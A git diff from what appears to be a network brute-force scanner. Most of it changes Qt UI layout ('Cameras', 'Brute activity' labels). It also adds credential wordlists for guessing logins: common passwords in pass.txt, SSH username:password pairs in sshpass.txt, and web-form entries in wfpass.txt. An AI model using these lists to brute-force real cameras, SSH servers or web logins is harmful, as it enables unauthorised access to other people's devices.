|
||||
<rect>
|
||||
<x>20</x>
|
||||
@ -1701,68 +1725,6 @@ p, li { white-space: pre-wrap; }
|
||||
<bool>false</bool>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QLabel" name="labelStatus">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>19</x>
|
||||
<y>783</y>
|
||||
<width>41</width>
|
||||
<height>10</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="sizePolicy">
|
||||
<sizepolicy hsizetype="Preferred" vsizetype="Preferred">
|
||||
<horstretch>0</horstretch>
|
||||
<verstretch>0</verstretch>
|
||||
</sizepolicy>
|
||||
</property>
|
||||
<property name="minimumSize">
|
||||
<size>
|
||||
<width>0</width>
|
||||
<height>0</height>
|
||||
</size>
|
||||
</property>
|
||||
<property name="font">
|
||||
<font>
|
||||
<family>Small Fonts</family>
|
||||
<pointsize>7</pointsize>
|
||||
</font>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
||||
</property>
|
||||
<property name="lineWidth">
|
||||
<number>1</number>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>Status:</string>
|
||||
</property>
|
||||
<property name="wordWrap">
|
||||
<bool>false</bool>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QLabel" name="labelStatus_Value">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>58</x>
|
||||
<y>783</y>
|
||||
<width>101</width>
|
||||
<height>10</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="font">
|
||||
<font>
|
||||
<family>Small Fonts</family>
|
||||
<pointsize>7</pointsize>
|
||||
</font>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>Idle</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QLabel" name="labelTargetsLeft">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
@ -2031,7 +1993,7 @@ p, li { white-space: pre-wrap; }
|
||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>Anomalies</string>
|
||||
<string>Cameras</string>
|
||||
</property>
|
||||
<property name="textFormat">
|
||||
<enum>Qt::AutoText</enum>
|
||||
@ -2089,7 +2051,7 @@ p, li { white-space: pre-wrap; }
|
||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>Suspicious</string>
|
||||
<string>Other</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QLabel" name="labelBads">
|
||||
@ -2115,7 +2077,7 @@ p, li { white-space: pre-wrap; }
|
||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>WebForms</string>
|
||||
<string>--</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QLabel" name="labelOverloads">
|
||||
@ -2167,7 +2129,7 @@ p, li { white-space: pre-wrap; }
|
||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>Lowloads</string>
|
||||
<string>--</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QPushButton" name="logoLabel">
|
||||
@ -2375,63 +2337,13 @@ p, li { white-space: pre-wrap; }
|
||||
<set>QGraphicsView::CacheNone</set>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QTextBrowser" name="BAText">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>20</x>
|
||||
<y>445</y>
|
||||
<width>453</width>
|
||||
<height>326</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="font">
|
||||
<font>
|
||||
<family>Small Fonts</family>
|
||||
<pointsize>7</pointsize>
|
||||
</font>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">background-color: rgb(26, 26,26); color:rgb(83, 83, 83);border: 1px solid white;</string>
|
||||
</property>
|
||||
<property name="locale">
|
||||
<locale language="Chinese" country="China"/>
|
||||
</property>
|
||||
<property name="frameShape">
|
||||
<enum>QFrame::NoFrame</enum>
|
||||
</property>
|
||||
<property name="frameShadow">
|
||||
<enum>QFrame::Plain</enum>
|
||||
</property>
|
||||
<property name="undoRedoEnabled">
|
||||
<bool>false</bool>
|
||||
</property>
|
||||
<property name="readOnly">
|
||||
<bool>true</bool>
|
||||
</property>
|
||||
<property name="html">
|
||||
<string><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd">
|
||||
<html><head><meta name="qrichtext" content="1" /><style type="text/css">
|
||||
p, li { white-space: pre-wrap; }
|
||||
</style></head><body style=" font-family:'Small Fonts'; font-size:7pt; font-weight:400; font-style:normal;">
|
||||
<p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-family:'Eurostile'; font-size:8pt;"><br /></p></body></html></string>
|
||||
</property>
|
||||
<property name="cursorWidth">
|
||||
<number>5</number>
|
||||
</property>
|
||||
<property name="textInteractionFlags">
|
||||
<set>Qt::LinksAccessibleByKeyboard|Qt::LinksAccessibleByMouse|Qt::TextBrowserInteraction|Qt::TextSelectableByKeyboard|Qt::TextSelectableByMouse</set>
|
||||
</property>
|
||||
<property name="openExternalLinks">
|
||||
<bool>true</bool>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QPushButton" name="switcherBut">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>480</x>
|
||||
<y>500</y>
|
||||
<x>475</x>
|
||||
<y>467</y>
|
||||
<width>16</width>
|
||||
<height>205</height>
|
||||
<height>21</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="font">
|
||||
@ -2447,54 +2359,12 @@ p, li { white-space: pre-wrap; }
|
||||
<string>Brute activity</string>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">border: 1px solid rgb(216, 216, 216);
|
||||
color: rgb(216, 216, 216);
|
||||
background-color: #000000;</string>
|
||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40);</string>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string><</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QLabel" name="labelTracker">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>200</x>
|
||||
<y>783</y>
|
||||
<width>45</width>
|
||||
<height>10</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="sizePolicy">
|
||||
<sizepolicy hsizetype="Preferred" vsizetype="Preferred">
|
||||
<horstretch>0</horstretch>
|
||||
<verstretch>0</verstretch>
|
||||
</sizepolicy>
|
||||
</property>
|
||||
<property name="minimumSize">
|
||||
<size>
|
||||
<width>0</width>
|
||||
<height>0</height>
|
||||
</size>
|
||||
</property>
|
||||
<property name="font">
|
||||
<font>
|
||||
<family>Small Fonts</family>
|
||||
<pointsize>7</pointsize>
|
||||
</font>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
||||
</property>
|
||||
<property name="lineWidth">
|
||||
<number>1</number>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string>NS-Track:</string>
|
||||
</property>
|
||||
<property name="wordWrap">
|
||||
<bool>false</bool>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QGraphicsView" name="graphicActivityGrid">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
@ -3026,8 +2896,8 @@ background-color: #000000;</string>
|
||||
</property>
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>249</x>
|
||||
<y>785</y>
|
||||
<x>456</x>
|
||||
<y>0</y>
|
||||
<width>8</width>
|
||||
<height>8</height>
|
||||
</rect>
|
||||
@ -3039,7 +2909,7 @@ background-color: #000000;</string>
|
||||
</font>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">background-color: black; border: 1px solid white;</string>
|
||||
<string notr="true">background-color: black; border: 1px solid #313131;</string>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string/>
|
||||
@ -3127,15 +2997,98 @@ background-color: #000000;</string>
|
||||
<string>✔:</string>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QLineEdit" name="currentDirectoryLine">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>20</x>
|
||||
<y>780</y>
|
||||
<width>351</width>
|
||||
<height>16</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="font">
|
||||
<font>
|
||||
<pointsize>7</pointsize>
|
||||
</font>
|
||||
</property>
|
||||
<property name="mouseTracking">
|
||||
<bool>false</bool>
|
||||
</property>
|
||||
<property name="focusPolicy">
|
||||
<enum>Qt::NoFocus</enum>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);</string>
|
||||
</property>
|
||||
<property name="text">
|
||||
<string/>
|
||||
</property>
|
||||
<property name="frame">
|
||||
<bool>false</bool>
|
||||
</property>
|
||||
<property name="readOnly">
|
||||
<bool>true</bool>
|
||||
</property>
|
||||
</widget>
|
||||
<widget class="QTableView" name="BATableView">
|
||||
<property name="geometry">
|
||||
<rect>
|
||||
<x>20</x>
|
||||
<y>445</y>
|
||||
<width>453</width>
|
||||
<height>326</height>
|
||||
</rect>
|
||||
</property>
|
||||
<property name="font">
|
||||
<font>
|
||||
<family>Small Fonts</family>
|
||||
<pointsize>7</pointsize>
|
||||
</font>
|
||||
</property>
|
||||
<property name="styleSheet">
|
||||
<string notr="true">background-color: rgb(26, 26,26); border: 1px solid white;</string>
|
||||
</property>
|
||||
<property name="locale">
|
||||
<locale language="English" country="UnitedStates"/>
|
||||
</property>
|
||||
<property name="frameShape">
|
||||
<enum>QFrame::NoFrame</enum>
|
||||
</property>
|
||||
<property name="frameShadow">
|
||||
<enum>QFrame::Plain</enum>
|
||||
</property>
|
||||
<property name="horizontalScrollBarPolicy">
|
||||
<enum>Qt::ScrollBarAlwaysOff</enum>
|
||||
</property>
|
||||
<property name="selectionMode">
|
||||
<enum>QAbstractItemView::SingleSelection</enum>
|
||||
</property>
|
||||
<property name="selectionBehavior">
|
||||
<enum>QAbstractItemView::SelectRows</enum>
|
||||
</property>
|
||||
<property name="cornerButtonEnabled">
|
||||
<bool>false</bool>
|
||||
</property>
|
||||
<attribute name="horizontalHeaderVisible">
|
||||
<bool>false</bool>
|
||||
</attribute>
|
||||
<attribute name="verticalHeaderVisible">
|
||||
<bool>false</bool>
|
||||
</attribute>
|
||||
<attribute name="verticalHeaderDefaultSectionSize">
|
||||
<number>20</number>
|
||||
</attribute>
|
||||
<attribute name="verticalHeaderMinimumSectionSize">
|
||||
<number>10</number>
|
||||
</attribute>
|
||||
</widget>
|
||||
<zorder>BATableView</zorder>
|
||||
<zorder>graphicTextPlacer</zorder>
|
||||
<zorder>BAText</zorder>
|
||||
<zorder>labelNesca_3</zorder>
|
||||
<zorder>tabMainWidget</zorder>
|
||||
<zorder>line</zorder>
|
||||
<zorder>exitButton</zorder>
|
||||
<zorder>dataText</zorder>
|
||||
<zorder>labelStatus</zorder>
|
||||
<zorder>labelStatus_Value</zorder>
|
||||
<zorder>line_2</zorder>
|
||||
<zorder>RedLabel</zorder>
|
||||
<zorder>YellowLabel</zorder>
|
||||
@ -3159,7 +3112,6 @@ background-color: #000000;</string>
|
||||
<zorder>graphicLog_2</zorder>
|
||||
<zorder>graphicLog_Upper</zorder>
|
||||
<zorder>switcherBut</zorder>
|
||||
<zorder>labelTracker</zorder>
|
||||
<zorder>graphicActivityGrid</zorder>
|
||||
<zorder>graphicActivity</zorder>
|
||||
<zorder>VoiceScanBut</zorder>
|
||||
@ -3188,6 +3140,7 @@ background-color: #000000;</string>
|
||||
<zorder>labelRunningThreads</zorder>
|
||||
<zorder>labelSavedValue</zorder>
|
||||
<zorder>labelSaved</zorder>
|
||||
<zorder>currentDirectoryLine</zorder>
|
||||
</widget>
|
||||
<widget class="QWidget" name="widgetJOB" native="true">
|
||||
<property name="geometry">
|
||||
|
54
pass.txt
54
pass.txt
@ -0,0 +1,54 @@
|
||||
12345
|
||||
root
|
||||
admin
|
||||
password
|
||||
123456
|
||||
1234
|
||||
|
||||
|
||||
123123
|
||||
pass
|
||||
qwerty
|
||||
meinsm
|
||||
monitor
|
||||
user
|
||||
support
|
||||
test
|
||||
sysadm
|
||||
admin123
|
||||
Admin
|
||||
123321
|
||||
12344321
|
||||
toor
|
||||
qwerty123
|
||||
1q2w3e4r
|
||||
987654321
|
||||
system
|
||||
111111
|
||||
1111
|
||||
654321
|
||||
54321
|
||||
!@#$%^
|
||||
0000
|
||||
000000
|
||||
master
|
||||
12345678
|
||||
666666
|
||||
888888
|
||||
88888888
|
||||
777777
|
||||
555555
|
||||
123321123
|
||||
222222
|
||||
333333
|
||||
444444
|
||||
999999
|
||||
111222333
|
||||
123123123
|
||||
123454321
|
||||
0123456789
|
||||
qqqqqq
|
||||
administrator
|
||||
backup
|
||||
super
|
||||
ubnt
|
@ -11,14 +11,14 @@ void PieStat::run()
|
||||
while(PieStatFlag)
|
||||
{
|
||||
psTh->doEmitUpdatePie();
|
||||
AnomC1 = 0;
|
||||
WF = 0;
|
||||
camerasC1 = 0;
|
||||
//WF = 0;
|
||||
baCount = 0;
|
||||
filtered = 0;
|
||||
Overl = 0;
|
||||
Lowl = 0;
|
||||
//Lowl = 0;
|
||||
Alive = 0;
|
||||
Susp = 0;
|
||||
other = 0;
|
||||
ssh = 0;
|
||||
msleep(500);
|
||||
};
|
||||
|
2473
qrc_nesca_3.cpp
2473
qrc_nesca_3.cpp
File diff suppressed because it is too large
Load Diff
29
sshpass.txt
29
sshpass.txt
@ -0,0 +1,29 @@
|
||||
hw230f8034t:17932yhf823
|
||||
admin:
|
||||
root:root
|
||||
root:admin
|
||||
admin:admin
|
||||
admin:root
|
||||
backup:backup
|
||||
guest:guest
|
||||
root:master
|
||||
root:1234
|
||||
admin:master
|
||||
admin:111111
|
||||
root:12345
|
||||
root:123456
|
||||
admin:1234
|
||||
admin:12345
|
||||
root:12345678
|
||||
root:123123
|
||||
admin:123456
|
||||
admin:12345678
|
||||
root:654321
|
||||
admin:123123
|
||||
admin:654321
|
||||
root:password
|
||||
admin:pasword
|
||||
root:1qazXSW@
|
||||
test:test
|
||||
:
|
||||
user:user
|
@ -0,0 +1,3 @@
|
||||
[FAIL]
|
||||
admin
|
||||
root
|
10
wfpass.txt
10
wfpass.txt
@ -0,0 +1,10 @@
|
||||
[FAIL]
|
||||
admin
|
||||
root
|
||||
pass
|
||||
password
|
||||
toor
|
||||
123123
|
||||
123456
|
||||
12345
|
||||
qwerty
|
Loading…
Reference in New Issue
Block a user